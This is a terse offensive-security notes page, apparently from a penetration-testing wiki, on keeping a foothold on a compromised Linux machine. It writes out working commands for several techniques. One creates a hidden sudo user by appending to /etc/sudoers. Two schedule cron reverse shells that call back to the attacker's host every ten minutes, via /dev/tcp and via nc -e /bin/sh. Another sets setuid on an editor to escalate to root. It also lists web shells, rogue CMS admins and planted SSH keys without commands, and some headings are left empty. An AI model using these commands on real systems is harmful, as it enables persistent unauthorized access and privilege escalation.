So if you manage to compromise a system you need to make sure that you do not lose the shell. If you have used an exploit that messes with the machine the user might want to reboot, and if the user reboots you will lose your shell.
Or, maybe the way to compromise the machine is really complicated or noisy and you don't want to go through the hassle of doing it all again. So instead you just create a backdoor that you can enter fast and easy.

Create a new user

The most obvious, but not so subtle way is to just create a new user (if you are root, or someone with that privilege) .
adduser pelle
adduser pelle sudo
Now if the machine has ssh you will be able to ssh into the machine.
On some machines, older Linux I think, you have to do
useradd pelle
passwd pelle
echo "pelle ALL=(ALL) ALL" >> /etc/sudoers

Crack the password of existing user

Get the /etc/shadow file and crack the passwords. This is of course only persistent until the user decides to change his/her password. So not so good.

SSH key

Add key to existing ssh-account.

Cronjob NC

Create cronjob that connects to your machine every 10 minutes. Here is an example using a bash-reverse-shell. You also need to set up a netcat listener.
Here is how you check if cronjob is active
service crond status
pgrep cron
If it is not started you can start it like this
service crond status
/etc/init.d/cron start
crontab -e
*/10 * * * * 0<&196;exec 196<>/dev/tcp/ipi/5556; sh <&196 >&196 2>&196
/10 * * * * nc -e /bin/sh ipip 5556
nc -lvp 5556
Sometimes you have to set the user
crontab -e
*/10 * * * * pelle /path/to/binary

Metasploit persistence module

Create a binary with malicious content inside. Run that, get meterpreter shell, run metasploit persistence.
If you have a meterpreter shell you can easily just run persistence.

Backdoor in webserver

You can put a cmd or shell-backdoor in a webserver.
Put backdoor on webserver, either in separate file or in hidden in another file

Admin account to CMS

Add admin account to CMS.


Mysql backdoor

Hide backdoor in bootblock


If the machine has nmap installed:

Setuid on text-editor

You can setuid on an editor. So if you can easily enter as a www-data, you can easily escalate to root through the editor.
With vi it is extremely easy. You just run :shell, and it gives you a shell.
# Make root the owner of the file
chown root myBinary
# set the sticky bit/suid
chmod u+s myBinary


This is a creat introduction http://www.dankalia.com/tutor/01005/0100501002.htm